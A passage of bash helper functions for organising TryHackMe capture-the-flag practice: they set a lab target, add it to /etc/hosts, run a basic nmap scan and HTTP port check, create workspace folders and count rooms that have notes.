    export THM_ROOM="$name"
    echo "[+] TARGET=$ip"
    [ -n "$name" ] && echo "$ip    $name" | sudo tee -a /etc/hosts
}

thmrecon() {
    target="$1"
    [ -z "$target" ] && target="$TARGET"
    [ -z "$target" ] && { echo "Usage: thmrecon <ip>"; return 1; }
    mkdir -p nmap
    echo "[*] Quick scan..."
    nmap -sC -sV -oN nmap/initial.txt "$target"
    echo ""
    echo "[*] Checking for web..."
    for port in 80 443 8080; do
        code=$(curl -s -o /dev/null -w "%{http_code}" "http://$target:$port" 2>/dev/null)
        [ "$code" != "000" ] && echo "[+] HTTP on port $port (status $code)"
    done
}

thmpath() {
    name="$1"
    [ -z "$name" ] && { echo "Usage: thmpath <path-name>"; return 1; }
    dir="$HOME/ctf/tryhackme/paths/$name"
    mkdir -p "$dir"
    cat > "$dir/README.md" << EOF
# $name Path (TryHackMe)
Started: $(date -I)

## Rooms
EOF
    echo "[+] Path workspace: $dir"
    cd "$dir"
}

thmprogress() {
    dir="$HOME/ctf/tryhackme/rooms"
    [ ! -d "$dir" ] && { echo "No THM directory"; return 1; }
    total=0; done=0
    for room in "$dir"/*/; do
        total=$((total + 1))
        [ -f "$room/notes/notes.md" ] && done=$((done + 1))
    done
    echo "THM Rooms: $done / $total"
}